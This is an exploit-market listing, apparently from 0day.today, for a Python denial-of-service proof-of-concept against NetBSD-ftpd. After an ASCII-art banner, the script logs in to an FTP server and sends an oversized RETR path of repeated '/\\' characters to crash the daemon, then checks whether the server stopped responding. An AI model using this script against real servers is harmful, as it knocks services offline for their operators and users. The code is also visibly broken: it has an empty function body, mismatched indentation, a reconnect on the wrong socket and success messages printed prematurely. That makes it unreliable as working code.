[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

NetBSD-ftpd 20100320 Remote DDoS

Author
Angel Injection
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-17781
Category
dos / poc
Date add
20-03-2012
Platform
bsd
#!/usr/bin/python
#
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# Title NetBSD-ftpd 20100320 Remote DDoS
from socket import *
import os
import sys
from time import sleep
if os.name == 'nt':
     os.system("cls")
     os.system("color 4f")
else:
     os.system("clear")
def usage():
if len(sys.argv) !=5:
     usage()
     print "\t\t Usage: %s <Host> <Port> <User> <Pass>" % sys.argv[0]
	 print "\t\t EX: %s 192.168.1.1 21 Inj3ct0r Inj3ct0r" % sys.argv[0]
     sys.exit(0)
host = sys.argv[1]
porta = int(sys.argv[2])
user = sys.argv[3]
pasw = sys.argv[4]
exploit = "/\\" * (6000/3)
usage()
print "\t\t[+]Connecting to Ftp Server "+host+"...\n"
sleep(1)
s = socket(AF_INET,SOCK_STREAM)
try:
     s.connect((host,porta))
     sleep(1)
     banner = s.recv(2000)
     if banner.find("NetBSD-ftpd") == -1:
          sleep(1)
          sys.exit(0x00)
     sleep(1)
     s.send("USER "+user+"\r\n")
     s.recv(200)
     s.send("PASS "+pasw+"\r\n")
     check = s.recv(2000)
     if check.find("230") == -1:
          print "\t\t[+] Login Errors Check Your Username or Password\n"
          sleep(1)
          sys.exit(0)
     print "\t\t[+]Send...\n"
     sleep(1)
     s.send("RETR "+exploit+"\r\n")
     s.close()
     print "\t\t[+]Exploit Success\n"
     sleep(1)
     print "\t\t[+]Checking\n"
     sleep(1)
     try:
          so = socket(AF_INET,SOCK_STREAM)
          s.connect((host,porta))
          print "\t\t[+]Exploit Not Work (\n"
      sleep(1)
     except:
          print "\t\t[+]Congratulations, worked with the Exploit Success:)\n"
      sleep(1)
except:
     print "\t\t[+]connecting Errors\n"
     sleep(1)



#  0day.today [2024-11-15]  #